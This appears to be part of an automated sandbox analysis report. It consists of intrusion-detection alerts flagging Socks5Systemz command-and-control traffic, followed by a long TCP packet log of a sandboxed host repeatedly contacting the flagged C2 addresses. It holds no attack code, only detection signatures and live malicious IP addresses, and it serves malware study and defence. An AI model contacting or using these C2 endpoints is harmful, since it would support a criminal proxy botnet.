2024-09-15T13:56:52.727965+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49797	185.196.8.214	80	TCP
2024-09-15T13:56:52.727965+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49797	185.196.8.214	80	TCP
2024-09-15T13:56:53.592994+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-15T13:56:53.592994+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-15T13:56:54.409471+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49799	185.196.8.214	80	TCP
2024-09-15T13:56:54.409471+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49799	185.196.8.214	80	TCP
2024-09-15T13:56:55.229367+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49800	185.196.8.214	80	TCP
2024-09-15T13:56:55.229367+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49800	185.196.8.214	80	TCP
2024-09-15T13:56:56.046244+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49801	185.196.8.214	80	TCP
2024-09-15T13:56:56.046244+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49801	185.196.8.214	80	TCP
2024-09-15T13:56:57.144604+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-15T13:56:57.144604+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-15T13:56:57.978961+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-15T13:56:57.978961+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-15T13:56:58.821593+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49804	185.196.8.214	80	TCP
2024-09-15T13:56:58.821593+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49804	185.196.8.214	80	TCP
2024-09-15T13:56:59.665656+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-15T13:56:59.665656+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-15T13:57:00.485041+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-15T13:57:00.485041+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-15T13:57:01.308009+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-15T13:57:01.308009+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-15T13:57:02.154495+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-15T13:57:02.154495+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-15T13:57:03.099744+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-15T13:57:03.099744+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-15T13:57:03.934141+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-15T13:57:03.934141+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-15T13:57:04.745497+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49811	185.196.8.214	80	TCP
2024-09-15T13:57:04.745497+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49811	185.196.8.214	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 13:55:53.970256090 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:53.975142002 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:53.975250006 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:53.975594997 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:53.980357885 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:54.665621042 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:54.665683031 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:54.667258024 CEST	49737	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:54.672049046 CEST	2023	49737	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:54.672166109 CEST	49737	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:54.672216892 CEST	49737	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:54.677102089 CEST	2023	49737	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:54.677146912 CEST	49737	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:54.681870937 CEST	2023	49737	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:55.299565077 CEST	2023	49737	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:55.342047930 CEST	49737	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:57.313724041 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:57.318629980 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:57.580874920 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:57.580966949 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:57.688524008 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:57.693526030 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:57.932581902 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:57.932792902 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:57.933456898 CEST	49739	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:57.938313961 CEST	2023	49739	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:57.938404083 CEST	49739	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:57.938505888 CEST	49739	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:57.938549995 CEST	49739	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:57.943367958 CEST	2023	49739	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:57.987855911 CEST	2023	49739	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:58.049624920 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.050338984 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.055031061 CEST	80	49736	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.055129051 CEST	49736	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.055277109 CEST	80	49740	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.055360079 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.055557966 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.060379982 CEST	80	49740	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.382786989 CEST	2023	49739	195.154.173.35	192.168.2.4
Sep 15, 2024 13:55:58.382926941 CEST	49739	2023	192.168.2.4	195.154.173.35
Sep 15, 2024 13:55:58.740447998 CEST	80	49740	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.740592957 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.861794949 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.862215996 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.866930962 CEST	80	49740	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.867063046 CEST	80	49741	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:58.867063999 CEST	49740	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.867175102 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.867314100 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:58.872111082 CEST	80	49741	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:59.548640966 CEST	80	49741	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:59.548731089 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.673401117 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.673733950 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.678659916 CEST	80	49742	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:59.678700924 CEST	80	49741	185.196.8.214	192.168.2.4
Sep 15, 2024 13:55:59.678754091 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.678788900 CEST	49741	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.678982973 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:55:59.683851004 CEST	80	49742	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:00.366180897 CEST	80	49742	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:00.366296053 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.485258102 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.485690117 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.490575075 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:00.490709066 CEST	80	49742	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:00.490732908 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.490784883 CEST	49742	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.490936041 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:00.495765924 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.201309919 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.201426983 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.315649033 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.320740938 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.556662083 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.556782007 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.672616005 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.673003912 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.677937031 CEST	80	49744	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.678039074 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.678134918 CEST	80	49743	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:01.678194046 CEST	49743	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.678262949 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:01.683202028 CEST	80	49744	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:02.366827011 CEST	80	49744	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:02.370326042 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.536416054 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.536812067 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.541802883 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:02.542212009 CEST	80	49744	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:02.542419910 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.542422056 CEST	49744	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.545629978 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:02.550554991 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.236615896 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.236756086 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:03.345135927 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:03.350255013 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.580848932 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.581051111 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:03.689874887 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:03.695060015 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.928208113 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:03.928369045 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.047982931 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.048280954 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.053278923 CEST	80	49746	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.053364038 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.053483963 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.053585052 CEST	80	49745	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.053646088 CEST	49745	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.058955908 CEST	80	49746	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.742130995 CEST	80	49746	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.742234945 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.875997066 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.876355886 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.881299973 CEST	80	49747	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.881427050 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.881597996 CEST	80	49746	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:04.881669998 CEST	49746	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.883038044 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:04.889784098 CEST	80	49747	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:05.597886086 CEST	80	49747	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:05.597968102 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.720179081 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.720807076 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.727164030 CEST	80	49747	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:05.727277994 CEST	49747	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.727444887 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:05.727648973 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.727824926 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:05.734410048 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.424293995 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.424544096 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.534006119 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.538954020 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.771215916 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.771343946 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.892852068 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.893297911 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.898322105 CEST	80	49748	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.898369074 CEST	80	49749	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:06.898411989 CEST	49748	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.898482084 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.898751974 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:06.903542042 CEST	80	49749	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:07.590563059 CEST	80	49749	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:07.590774059 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.705492020 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.706000090 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.714018106 CEST	80	49749	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:07.714036942 CEST	80	49750	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:07.714076042 CEST	49749	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.714133978 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.714313030 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:07.719124079 CEST	80	49750	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:08.401971102 CEST	80	49750	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:08.402040958 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.518445969 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.518893957 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.523823023 CEST	80	49751	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:08.523927927 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.524120092 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.524246931 CEST	80	49750	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:08.524434090 CEST	49750	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:08.528908014 CEST	80	49751	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:09.212583065 CEST	80	49751	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:09.212851048 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.330565929 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.330996037 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.336255074 CEST	80	49752	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:09.336302996 CEST	80	49751	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:09.336502075 CEST	49751	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.336513996 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.336709976 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:09.341650963 CEST	80	49752	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.025723934 CEST	80	49752	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.025953054 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.141976118 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.142250061 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.147150040 CEST	80	49753	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.147217989 CEST	80	49752	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.147258997 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.147294998 CEST	49752	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.147408962 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.152301073 CEST	80	49753	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.840734005 CEST	80	49753	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.840862989 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.954138041 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.954449892 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.959408998 CEST	80	49754	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.959476948 CEST	80	49753	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:10.959497929 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.959523916 CEST	49753	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.959708929 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:10.964562893 CEST	80	49754	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:11.653692961 CEST	80	49754	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:11.653918982 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.766719103 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.767035961 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.771902084 CEST	80	49755	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:11.771984100 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.772097111 CEST	80	49754	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:11.772145033 CEST	49754	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.772224903 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:11.777048111 CEST	80	49755	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:12.479068995 CEST	80	49755	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:12.479146004 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.594526052 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.594782114 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.599718094 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:12.599822044 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.599955082 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.599967957 CEST	80	49755	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:12.600039959 CEST	49755	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:12.604849100 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.296746016 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.296919107 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.409562111 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.414802074 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.651885033 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.652097940 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.773152113 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.773571014 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.778626919 CEST	80	49756	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.778669119 CEST	80	49757	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:13.778722048 CEST	49756	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.778775930 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.778920889 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:13.783827066 CEST	80	49757	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:14.465457916 CEST	80	49757	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:14.465755939 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.579989910 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.580347061 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.585212946 CEST	80	49758	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:14.585283041 CEST	80	49757	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:14.585298061 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.585359097 CEST	49757	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.585882902 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:14.590693951 CEST	80	49758	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:15.302892923 CEST	80	49758	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:15.303052902 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.422678947 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.423053026 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.427990913 CEST	80	49759	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:15.428047895 CEST	80	49758	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:15.428112030 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.428138018 CEST	49758	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.428392887 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:15.433223009 CEST	80	49759	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.120045900 CEST	80	49759	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.120176077 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.241445065 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.241946936 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.246958971 CEST	80	49759	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.247005939 CEST	80	49760	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.247081995 CEST	49759	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.247168064 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.247484922 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:16.252465010 CEST	80	49760	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.927876949 CEST	80	49760	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:16.928030968 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.049168110 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.049606085 CEST	49761	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.054694891 CEST	80	49760	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.054789066 CEST	80	49761	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.054794073 CEST	49760	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.054862022 CEST	49761	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.055031061 CEST	49761	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:17.060067892 CEST	80	49761	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.772099972 CEST	80	49761	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:17.772303104 CEST	49761	80	192.168.2.4	185.196.8.214
